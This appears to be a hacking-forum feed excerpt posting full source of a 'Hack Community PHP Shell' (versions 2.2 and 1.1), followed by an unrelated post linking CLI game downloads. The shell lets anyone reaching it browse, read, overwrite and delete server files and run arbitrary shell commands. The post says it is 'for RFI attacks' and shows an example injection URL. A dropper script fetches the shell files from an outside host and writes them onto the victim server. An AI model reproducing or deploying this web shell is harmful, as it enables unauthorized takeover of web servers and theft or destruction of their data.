&lt;!--PHP FUNCS BELOW--&gt;<br />
&lt;?php<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
//EDIT ABOVE!!<br />
<br />
function ls(&#36;directory)<br />
 {<br />
 if(!&#36;directory)<br />
&nbsp;&nbsp;&#36;directory = '.';<br />
<br />
 if(&#36;handle = opendir(&#36;directory))<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;while(false !== (&#36;entry = readdir(&#36;handle)))<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp; if(&#36;entry != &#36;shell_file &amp;&amp; &#36;entry != &#36;style_file)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(is_dir(&#36;directory . '/' . &#36;entry))<br />
&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(&#36;entry == "." || &#36;entry == "..")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[Delete] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[&lt;a href='&#36;shell_file?choice=rmdir&amp;dir=&#36;directory'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp; echo "[&lt;a href='&#36;shell_file?choice=rm&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=read&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp;closedir(&#36;handle);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function read(&#36;file)<br />
 {<br />
 &#36;contents = file_get_contents(&#36;file);<br />
<br />
 &#36;contents = str_replace("&lt;/textarea&gt;", "&lt;./textarea&gt;", &#36;contents);<br />
 &#36;contents = str_replace("&lt;textarea&gt;", "&lt;.textarea&gt;", &#36;contents);<br />
<br />
 echo &#36;contents . "&#92;n";<br />
 }<br />
<br />
function save(&#36;file, &#36;contents, &#36;delete)<br />
 {<br />
 if(isset(&#36;delete))<br />
&nbsp;&nbsp;rm(&#36;file);<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(file_put_contents(&#36;file, &#36;contents))<br />
&nbsp;&nbsp; showMessage("Write success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Write fail.");<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function rmdirectory(&#36;dir)<br />
 {<br />
 &#36;files = glob(&#36;dir . '*', GLOB_MARK);<br />
<br />
 foreach(&#36;files as &#36;file)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(substr(&#36;file, -1) == '/')<br />
&nbsp;&nbsp; delTree(&#36;file);<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; unlink(&#36;file);<br />
&nbsp;&nbsp;}<br />
<br />
 if(rmdir(&#36;dir))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function rm(&#36;file)<br />
 {<br />
 if(unlink(&#36;file))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function create(&#36;file, &#36;isdir)<br />
 {<br />
 if(&#36;isdir)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(mkdir(&#36;file))<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
&nbsp;&nbsp;}<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&#36;filestream = fopen(&#36;file, 'w');<br />
<br />
&nbsp;&nbsp;if(&#36;filestream)<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
<br />
&nbsp;&nbsp;fclose(&#36;filestream);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function execute(&#36;command)<br />
 {<br />
 &#36;output = shell_exec(&#36;command);<br />
 echo "COMMAND OUTPUT&#92;n--------------&#92;n&#92;n" . &#36;output;<br />
 }<br />
<br />
function showMessage(&#36;message)<br />
 {<br />
 echo "&lt;script&gt;alert('" . &#36;message . "');&lt;/script&gt;";<br />
 }<br />
?&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;?php<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;choice = &#36;_GET['choice'];<br />
<br />
if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create" || &#36;choice == "execute")<br />
 {<br />
 &#36;dir = &#36;_GET['dir'];<br />
 &#36;file = &#36;_GET['file'];<br />
 &#36;command = &#36;_GET['command'];<br />
<br />
 if(!&#36;dir)<br />
&nbsp;&nbsp;&#36;dir = '.';<br />
 }<br />
<br />
if(isset(&#36;_POST['save']))<br />
 {<br />
 &#36;contents = &#36;_POST['contents'];<br />
 &#36;delete = &#36;_POST['delete'];<br />
 save(&#36;file, &#36;contents, &#36;delete);<br />
 }<br />
<br />
if(&#36;choice == "create")<br />
 {<br />
 if(isset(&#36;_GET['is_directory']))<br />
&nbsp;&nbsp;create(&#36;file, true);<br />
 else<br />
&nbsp;&nbsp;create(&#36;file, false);<br />
 }<br />
<br />
if(&#36;choice == "rmdir")<br />
 rmdirectory(&#36;dir);<br />
else if(&#36;choice == "rm")<br />
 rm(&#36;file);<br />
?&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;style&gt;<br />
body<br />
 {<br />
 background-image: url('http://i.imgur.com/l9LtNzl.png');<br />
 color: white;<br />
 }<br />
<br />
#contents<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 60%;<br />
 height: 85%;<br />
 float: left;<br />
 }<br />
<br />
#contentsText<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 100%;<br />
 height: 100%;<br />
 float: left;<br />
 }<br />
<br />
#browser<br />
 {<br />
 background-color: #333;<br />
 color: white; width: 40%;<br />
 height: 85%;<br />
 overflow: scroll;<br />
 float: left;<br />
 }<br />
<br />
<br />
<br />
a:link {color:#F00;}<br />
a:visited {color:#FF0;}<br />
a:hover {color:#FFF;}<br />
a:active {color:#F80;}<br />
&lt;/style&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;PHP Shell&lt;/title&gt;<br />
 &lt;/head&gt;<br />
 &lt;body&gt;<br />
&nbsp;&nbsp;&lt;div style="background-color: black; text-align: center"&gt;<br />
&nbsp;&nbsp; &lt;img src="http://static_cast.home.comcast.net/shell/hc_logo.png" alt="PHP Shell" /&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
&nbsp;&nbsp;&lt;form id="contents" action="#" method="POST"&gt;<br />
<br />
&nbsp;&nbsp; &lt;textarea name="contents" id="contentsText"&gt;&lt;?php<br />
if(&#36;choice == "read" || &#36;choice == "save" || &#36;choice == "create")<br />
 read(&#36;file);<br />
if(&#36;choice == "save")<br />
 save(&#36;file);<br />
if(&#36;choice == "execute")<br />
 execute(&#36;command);<br />
?&gt;&lt;/textarea&gt;<br />
<br />
&nbsp;&nbsp; &lt;div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;"&gt;&amp;nbsp;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;span style="position: relative; z-index: 1; margin-top: -23px; float: left"&gt;&lt;input type="checkbox" name="delete" /&gt;Delete this file&lt;/span&gt;<br />
&nbsp;&nbsp; &lt;input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" /&gt;<br />
&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&lt;div id="browser"&gt;<br />
&nbsp;&nbsp; &lt;div style="margin: 3px;"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET" style="float: left"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Starting Directory:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="ls" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="dir" value="." /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Display" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Create File:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="create" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="file" value="file.txt" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Create" /&gt;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="checkbox" name="is_directory" /&gt;Directory<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET" style="clear: left"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Execute Command:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="execute" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="command" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Execute" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;hr /&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create" || &#36;choice == "execute")<br />
&nbsp;&nbsp;&nbsp;&nbsp; ls(&#36;dir);<br />
&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
<br />
&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
Version Updates:<br />
Version 2.2:<br />
Fixed dir reset upon deleting file.<br />
Version 2.1:<br />
Put all of the source into one file.<br />
Version 2.0:<br />
Major release, fixed and added features<br />
<br />
Below is the older 1.1 version...<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;">Screenshots:<br />
<a href="http://s7.postimg.org/lvfcx42mz/shell.png" target="_blank">http://s7.postimg.org/lvfcx42mz/shell.png</a><br />
<a href="http://s21.postimg.org/48r7ugkbr/example1.png" target="_blank">http://s21.postimg.org/48r7ugkbr/example1.png</a><br />
<a href="http://s8.postimg.org/enpgblm5x/example2.png" target="_blank">http://s8.postimg.org/enpgblm5x/example2.png</a><br />
<a href="http://postimg.org/image/m86r3akwn/" target="_blank"><img src="http://s7.postimg.org/m86r3akwn/shell.jpg" border="0" alt="[Image: shell.jpg]" /></a><br />
<a href="http://postimg.org/image/eitmtpa77/" target="_blank"><img src="http://s21.postimg.org/eitmtpa77/example1.jpg" border="0" alt="[Image: example1.jpg]" /></a><br />
<a href="http://postimg.org/image/jmcyq4pyp/" target="_blank"><img src="http://s8.postimg.org/jmcyq4pyp/example2.jpg" border="0" alt="[Image: example2.jpg]" /></a><br />
<br />
<span style="font-size: x-large;"><span style="font-weight: bold;">Hack Community PHP Shell</span></span><br />
<br />
This is a PHP Shell for RFI attacks or for own personal use. [e.g. web.com?page=http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt]<br />
Here is the source code:<br />
<br />
Version 1.1<br />
<br />
dropper.txt !!IMPORTANT.  Sample upload: <a href="http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt" target="_blank">http://static_cast.home.comcast.net/~sta...ropper.txt</a><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
//You can change these to your upload location...<br />
&#36;shellg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_shell.txt');<br />
&#36;funcsg = file_get_contents('http://static_cast.home.comcast.net/shell/functions.txt');<br />
&#36;hcimgg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_logo.txt');<br />
&#36;styleg = file_get_contents('http://static_cast.home.comcast.net/shell/style.txt');<br />
<br />
mkdir("/shell/", 0700);<br />
&#36;shellp = 'shell/hc_shell.php';<br />
&#36;funcsp = 'shell/functions.php';<br />
&#36;hcimgp = 'shell/hc_logo.png';<br />
&#36;stylep = 'shell/style.css';<br />
<br />
file_put_contents(&#36;shellp, &#36;shellg);<br />
file_put_contents(&#36;funcsp, &#36;funcsg);<br />
file_put_contents(&#36;hcimgp, &#36;hcimgg);<br />
file_put_contents(&#36;stylep, &#36;styleg);<br />
?&gt;</code></div></div>
<br />
hc_shell.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
include("functions.php");<br />
<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
&#36;logo_file&nbsp;&nbsp;= "hc_logo.png";<br />
//EDIT ABOVE!!<br />
<br />
&#36;choice = &#36;_GET['choice'];<br />
<br />
if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create")<br />
 {<br />
 &#36;dir = &#36;_GET['dir'];<br />
 &#36;file = &#36;_GET['file'];<br />
<br />
 if(!&#36;dir)<br />
&nbsp;&nbsp;&#36;dir = '.';<br />
 }<br />
<br />
if(isset(&#36;_POST['save']))<br />
 {<br />
 &#36;contents = &#36;_POST['contents'];<br />
 &#36;delete = &#36;_POST['delete'];<br />
 save(&#36;file, &#36;contents, &#36;delete);<br />
 }<br />
<br />
if(&#36;choice == "create")<br />
 {<br />
 if(isset(&#36;_GET['is_directory']))<br />
&nbsp;&nbsp;create(&#36;file, true);<br />
 else<br />
&nbsp;&nbsp;create(&#36;file, false);<br />
 }<br />
<br />
if(&#36;choice == "rmdir")<br />
 rmdirectory(&#36;dir);<br />
else if(&#36;choice == "rm")<br />
 rm(&#36;file);<br />
?&gt;<br />
<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;PHP Shell&lt;/title&gt;<br />
&nbsp;&nbsp;&lt;link rel="stylesheet" type="text/css" href="&lt;?php echo &#36;style_file; ?&gt;" /&gt;<br />
 &lt;/head&gt;<br />
 &lt;body&gt;<br />
&nbsp;&nbsp;&lt;div style="background-color: black; text-align: center"&gt;<br />
&nbsp;&nbsp; &lt;img src="&lt;?php echo &#36;logo_file; ?&gt;" alt="PHP Shell" /&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
&nbsp;&nbsp;&lt;form id="contents" action="#" method="POST"&gt;<br />
<br />
&nbsp;&nbsp; &lt;textarea name="contents" id="contentsText"&gt;&lt;?php<br />
if(&#36;choice == "read" || &#36;choice == "save" || &#36;choice == "create")<br />
 read(&#36;file);<br />
if(&#36;choice == "save")<br />
 save(&#36;file);<br />
?&gt;&lt;/textarea&gt;<br />
<br />
&nbsp;&nbsp; &lt;div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;"&gt;&amp;nbsp;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;span style="position: relative; z-index: 1; margin-top: -23px; float: left"&gt;&lt;input type="checkbox" name="delete" /&gt;Delete this file&lt;/span&gt;<br />
&nbsp;&nbsp; &lt;input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" /&gt;<br />
&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&lt;div id="browser"&gt;<br />
&nbsp;&nbsp; &lt;div style="margin: 3px;"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Starting Directory:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="ls" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="dir" value="." /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Display" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Create File:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="create" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="file" value="file.txt" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Create" /&gt;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="checkbox" name="is_directory" /&gt;Directory<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;hr /&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create")<br />
&nbsp;&nbsp;&nbsp;&nbsp; ls(&#36;dir);<br />
&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
<br />
&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
functions.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
//EDIT ABOVE!!<br />
<br />
function ls(&#36;directory)<br />
 {<br />
 if(!&#36;directory)<br />
&nbsp;&nbsp;&#36;directory = '.';<br />
<br />
 if(&#36;handle = opendir(&#36;directory))<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;while(false !== (&#36;entry = readdir(&#36;handle)))<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp; if(&#36;entry != &#36;shell_file &amp;&amp; &#36;entry != &#36;style_file)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(is_dir(&#36;directory . '/' . &#36;entry))<br />
&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(&#36;entry == "." || &#36;entry == "..")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[Delete] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[&lt;a href='&#36;shell_file?choice=rmdir&amp;dir=&#36;directory'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp; echo "[&lt;a href='&#36;shell_file?choice=rm&amp;file=&#36;directory/&#36;entry'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=read&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp;closedir(&#36;handle);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function read(&#36;file)<br />
 {<br />
 &#36;contents = file_get_contents(&#36;file);<br />
<br />
 &#36;contents = str_replace("&lt;/textarea&gt;", "&lt;./textarea&gt;", &#36;contents);<br />
 &#36;contents = str_replace("&lt;textarea&gt;", "&lt;.textarea&gt;", &#36;contents);<br />
<br />
 echo &#36;contents . "&#92;n";<br />
 }<br />
<br />
function save(&#36;file, &#36;contents, &#36;delete)<br />
 {<br />
 if(isset(&#36;delete))<br />
&nbsp;&nbsp;rm(&#36;file);<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(file_put_contents(&#36;file, &#36;contents))<br />
&nbsp;&nbsp; showMessage("Write success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Write fail.");<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function rmdirectory(&#36;dir)<br />
 {<br />
 &#36;files = glob(&#36;dir . '*', GLOB_MARK);<br />
<br />
 foreach(&#36;files as &#36;file)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(substr(&#36;file, -1) == '/')<br />
&nbsp;&nbsp; delTree(&#36;file);<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; unlink(&#36;file);<br />
&nbsp;&nbsp;}<br />
<br />
 if(rmdir(&#36;dir))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function rm(&#36;file)<br />
 {<br />
 if(unlink(&#36;file))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function create(&#36;file, &#36;isdir)<br />
 {<br />
 if(&#36;isdir)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(mkdir(&#36;file))<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
&nbsp;&nbsp;}<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&#36;filestream = fopen(&#36;file, 'w');<br />
<br />
&nbsp;&nbsp;if(&#36;filestream)<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
<br />
&nbsp;&nbsp;fclose(&#36;filestream);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function showMessage(&#36;message)<br />
 {<br />
 echo "&lt;script&gt;alert('" . &#36;message . "');&lt;/script&gt;";<br />
 }<br />
?&gt;</code></div></div>
<br />
style.css<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>body<br />
 {<br />
 background-image: url('http://i.imgur.com/l9LtNzl.png');<br />
 color: white;<br />
 }<br />
<br />
#contents<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 60%;<br />
 height: 85%;<br />
 float: left;<br />
 }<br />
<br />
#contentsText<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 100%;<br />
 height: 100%;<br />
 float: left;<br />
 }<br />
<br />
#browser<br />
 {<br />
 background-color: #333;<br />
 color: white; width: 40%;<br />
 height: 85%;<br />
 overflow: scroll;<br />
 float: left;<br />
 }<br />
<br />
<br />
<br />
a:link {color:#F00;}<br />
a:visited {color:#FF0;}<br />
a:hover {color:#FFF;}<br />
a:active {color:#F80;}</code></div></div>
<hr />
[Reserved Post]<br />
Version number: 1.1<br />
<br />
I will later re-write to 2.0 where all the code is in one file. <img src="images/smilies/grin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" /></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] HC CLI Game Compilation]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-HC-CLI-Game-Compilation</link>
			<pubDate>Sat, 06 Apr 2013 19:49:30 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-HC-CLI-Game-Compilation</guid>
			<description><![CDATA[<div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size: x-large;"><span style="color: #FFD700;">HC CLI Game Compilation</span></span></span></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Linux:</span></span></span><br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s7.directupload.net/images/130406/vu4bbdjf.png" border="0" alt="[Image: vu4bbdjf.png]" /></a><br />
<br />
Download: <a href="http://uppit.com/9te57w2m3pc9/linuxbin.zip" target="_blank">http://uppit.com/9te57w2m3pc9/linuxbin.zip</a><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Windows:</span></span></span><br />
<br />
<a href="http://www.directupload.net" target="_blank"><img src="http://s1.directupload.net/images/130409/do349uwb.png" border="0" alt="[Image: do349uwb.png]" /></a><br />
<br />
Download: <a href="http://uppit.com/7vkdy8nn05hk/windowsbin.zip" target="_blank">http://uppit.com/7vkdy8nn05hk/windowsbin.zip</a><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Usage:</span></span></span><br />
<br />
Make sure that you fulfill the requirements. You should at least install Python27 as most programs run with python.<br />
Extract the zip file, run start.py and have fun.<br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Requirements:</span></span></span><br />
<br />
Install runtimes for the following programming languages:<br />
<br />
Python27: <a href="http://www.python.org/getit/" target="_blank">http://www.python.org/getit/</a><br />
Python33: <a href="http://www.python.org/getit/" target="_blank">http://www.python.org/getit/</a><br />
Java: <a href="https://www.java.com/de/download/" target="_blank">https://www.java.com/de/download/</a><br />
Lua: <a href="http://www.lua.org/download.html" target="_blank">http://www.lua.org/download.html</a><br />
<br />
Post below if you have any problems or need help to get the games to run.<br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FF6347;">Authors:</span></span></span><br />
<br />
Thanks to the game authors:<br />
<br />
@<a id="mention_24811" href="User-Psycho-Coder"><span style="color: #FFF; text-shadow: 0px 0px 5px rgb(255, 255, 255); background:url(http://i.imgur.com/rGHDI.gif);"> Psycho_Coder</span></a><br />
@<a id="mention_29847" href="User-chmod"><span style="color:#fff088;">chmod</span></a><br />
@<a id="mention_5575" href="User-Jacob"><span style="color:#72d9ff;">Jacob</span></a><br />
@<a id="mention_32336" href="User-Xe-4"><span style="color: #e6e6e6;">Xe.4</span> </a><br />
@<a id="mention_16620" href="User-DaPaus"><span style="color: #FF9A00; text-shadow: 0px 0px 5px rgb(255, 173, 0); background:url(http://i.imgur.com/rGHDI.gif);">DaPaus</span></a><br />
@<a id="mention_34892" href="User-JesseH"><span style="color:#fff088;">JesseH</span></a><br />
@<a id="mention_34809" href="User-Ex094"><span style="color: #41FF24;">Ex094</span></a><br />
@<a id="mention_28555" href="User-H4R0015K"><span style="color: #41FF24;">H4R0015K</span></a><br />
